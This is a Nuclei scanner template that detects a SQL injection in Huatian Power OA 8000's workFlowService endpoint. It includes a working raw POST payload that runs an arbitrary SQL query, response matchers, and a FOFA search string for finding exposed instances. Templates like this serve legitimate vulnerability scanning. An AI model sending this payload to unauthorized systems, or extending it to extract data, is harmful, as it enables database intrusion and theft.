huatian-oa-sqli: Huatian Power OA 8000 - SQL Injection

id: huatian-oa-sqli

info:
  name: Huatian Power OA 8000 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000. An attacker can exploit this vulnerability to obtain sensitive database information.
  reference:
    - https://blog.csdn.net/qq_41617034/article/details/124305120
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: "app=\"华天动力-OA8000\""
  tags: huatian,oa,sqli,vuln

http:
  - raw:
      - |
        POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
        Host: {{Hostname}}

        <buffalo-call>
        <method>getDataListForTree</method>
        <string>select user()</string>
        </buffalo-call>

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<list>" ,"<string>user()" ,"<length>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220242147f6365a3c670ce77383ec26752269391f3e7e9efb3cbf2d7f1381a2de27022100aa3b582b7725ae82150f89a9d5545fd00bf210caebe926402ab5d2f97050be14:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.